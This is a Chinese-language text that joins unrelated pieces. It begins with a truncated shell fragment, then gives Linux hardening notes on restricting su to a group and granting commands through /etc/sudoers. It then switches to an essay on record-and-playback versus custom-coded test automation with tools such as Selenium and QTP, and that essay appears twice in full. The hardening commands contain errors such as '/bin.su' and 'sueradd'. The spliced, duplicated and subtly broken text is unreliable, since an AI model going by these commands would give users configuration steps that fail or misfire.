$new_user$i // done echo "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&" |
5.2 限制用户su 为root
groupadd sugroup
chmod 4550 /bin/su
chgrp sugroup /bin.su
ls -l /bin/su
设定后,只有sugroup组总的用户可以使用su切换root
sueradd bob
passwd bob
usermod -G sugroup bob
5.3 用sudo 替代su
sudo 的配置文件 /etc/sudoers
(管理员)编辑配置文件命令:
visudo
格式:用户名(组名)主机地址(主机名)=命令(绝对路径)
例如:
用户授权:bob 192.186.9.3=/usr/sbin/useradd,/usr/sbin/userdel
组授权: %webadmin host1=/bin/vim /etc/httpd/conf/httpd.conf
在软件应用
测试中会有一些
工作流可以自动使用自动化工具。
自动化测试流程通常会以两种方式来使用这些工具。
自动化用录制&回放
在录制和回放的两种方法中,必须打开录制并且手动完成manual tester的测试应用程序的步骤。后端记录器将记录操作(识别控制,点击按钮,填充文本框中的数据等)。录制完成后(如果需要输入一些参数的东西可以在特定的文件中支持,即参数化),这个记录必要时是可以重复的。
在高层次上,这种方法似乎更容易,且人们很容易试图遵循这种方法(在最初的几天我也跟着这…)。但在应用程序的生命周期中,会经历很多次的修改,如果有一个小应用程序中修改,将使得录制好的脚本无法识别的话,对象在其记录的属性就可能会改变。所以,每当应用程序中的一些修改,我们及时都要变动(根据我的经验,会有许多修改的)要录制好的脚本。通过使用这种方法,根据应用程序的更改去同步调整这些记录。
如果应用程序/应用程序流非常简单,也不会有太多的变化,那么这种方法可能是有用的。
通过编写自定义代码&使用内置的一些工具
尽管记录器是被用在前面的方法,有时候我们还得借助都自定义编码,以及内置工具的帮助下进行。这意味着,自动化测试人员必须编写代码来控制识别,控制操作(点击,填充数据等),借助所提供的工具的帮助。
在更高的层次上来说,这开始的时候似乎是非常困难的。但是如果有一个适当的框架内设计,那么这个方法就会容易很多。可能需要更多的时间来做这个东西,但在长远来看,使用这种方法将会很容易维护脚本(当然可维护性取决于框架)。
现在市场有很多如
Selenium、Coded-UI,QTP等工具,可以用于自动化测试。在以下的
文章中我将讨论这些工具,从我的经验来谈如何开发定制测试框架。
在软件应用
测试中会有一些
工作流可以自动使用自动化工具。
自动化测试流程通常会以两种方式来使用这些工具。
自动化用录制&回放
在录制和回放的两种方法中,必须打开录制并且手动完成manual tester的测试应用程序的步骤。后端记录器将记录操作(识别控制,点击按钮,填充文本框中的数据等)。录制完成后(如果需要输入一些参数的东西可以在特定的文件中支持,即参数化),这个记录必要时是可以重复的。
在高层次上,这种方法似乎更容易,且人们很容易试图遵循这种方法(在最初的几天我也跟着这…)。但在应用程序的生命周期中,会经历很多次的修改,如果有一个小应用程序中修改,将使得录制好的脚本无法识别的话,对象在其记录的属性就可能会改变。所以,每当应用程序中的一些修改,我们及时都要变动(根据我的经验,会有许多修改的)要录制好的脚本。通过使用这种方法,根据应用程序的更改去同步调整这些记录。
如果应用程序/应用程序流非常简单,也不会有太多的变化,那么这种方法可能是有用的。
通过编写自定义代码&使用内置的一些工具
尽管记录器是被用在前面的方法,有时候我们还得借助都自定义编码,以及内置工具的帮助下进行。这意味着,自动化测试人员必须编写代码来控制识别,控制操作(点击,填充数据等),借助所提供的工具的帮助。
在更高的层次上来说,这开始的时候似乎是非常困难的。但是如果有一个适当的框架内设计,那么这个方法就会容易很多。可能需要更多的时间来做这个东西,但在长远来看,使用这种方法将会很容易维护脚本(当然可维护性取决于框架)。
现在市场有很多如
Selenium、Coded-UI,QTP等工具,可以用于自动化测试。在以下的
文章中我将讨论这些工具,从我的经验来谈如何开发定制测试框架。